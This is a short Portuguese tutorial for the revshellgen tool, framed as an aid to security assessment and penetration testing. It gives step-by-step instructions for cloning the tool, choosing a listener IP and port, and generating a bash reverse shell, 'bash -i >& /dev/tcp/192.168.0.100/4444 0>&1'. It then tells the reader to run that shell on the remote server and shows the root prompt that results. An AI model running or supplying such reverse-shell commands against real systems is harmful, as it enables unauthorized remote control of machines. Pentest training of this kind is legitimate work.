revshellgen desenvolvido em python e tem como objetivo facilitar a geração de shell a fim de auxiliar no processo de avaliação de segurança e/ou pentest.
Realize o clone do projeto revshellgen e liste o conteúdo do diretório.
Linuxgit clone https://github.com/t0thkr1s/revshellgen cd revshellgen/ ls -l
Execute o script revshellgen.py:
Linux./revshellgen.py
Selecione o IP do seu Servidor atual ou especifique um outro IP, ex:
Linux[ x ] 192.168.0.100 on eth0
Informe uma Porta para estabelecer a conexão reversa, ex: 4444
Linux[ # ] Enter port number : 4444
Selecione o comando, ex: unix_bash
Linux[ x ] unix_bash
Você pode optar em encodar a URL ou Comando respondendo no ou yes
Linux[ x ] no [ ] yes
Ao pressionar o Enter a URL ou Comando é gerado.
Responda yes para aguardar a conexão reversa.
Linux---------- [ FINISHED COMMAND ] ---------- bash -i >& /dev/tcp/192.168.0.100/4444 0>&1 ---------- [ SETUP LISTERNER ] ---------- [ ] no [ x ] yes
No servidor remoto execute o comando:
Linuxbash -i >& /dev/tcp/192.168.0.100/4444 0>&1
Conexão estabelecida com sucesso!
Linuxroot@www:/#